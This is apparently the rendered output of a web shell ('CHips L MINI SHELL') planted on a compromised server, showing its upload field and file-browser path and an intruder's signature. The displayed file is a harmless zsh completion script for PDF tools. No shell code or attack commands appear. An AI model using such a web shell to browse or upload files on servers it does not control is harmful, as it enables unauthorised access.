CHips L MINI SHELL

CHips L pro

Current Path : /usr/share/zsh/4.3.11/functions/
Upload File :
Current File : //usr/share/zsh/4.3.11/functions/_pdf

#compdef pdf2dsc pdf2ps pdfimages pdfinfo pdftopbm pdftops pdftotext pdfopt pdffonts kpdf okular

local expl ext=''

# ghostscript:
#  pdf2dsc pdf2ps pdfopt
# xpdf:
#  pdfimages pdfinfo pdftopbm pdftops pdftotext xpdf pdffonts
# KDE 3:
#  kpdf
# KDE 4:
#  okular

if [[ "$1" == '-z' ]]; then
  ext='(|.bz2|.gz|.Z)'
  shift
fi

_description files expl 'PDF file'
_files "$@" "$expl[@]" -g "*.(#i)pdf$ext(-.)"

Copyright 2K16 - 2K18 Indonesian Hacker Rulez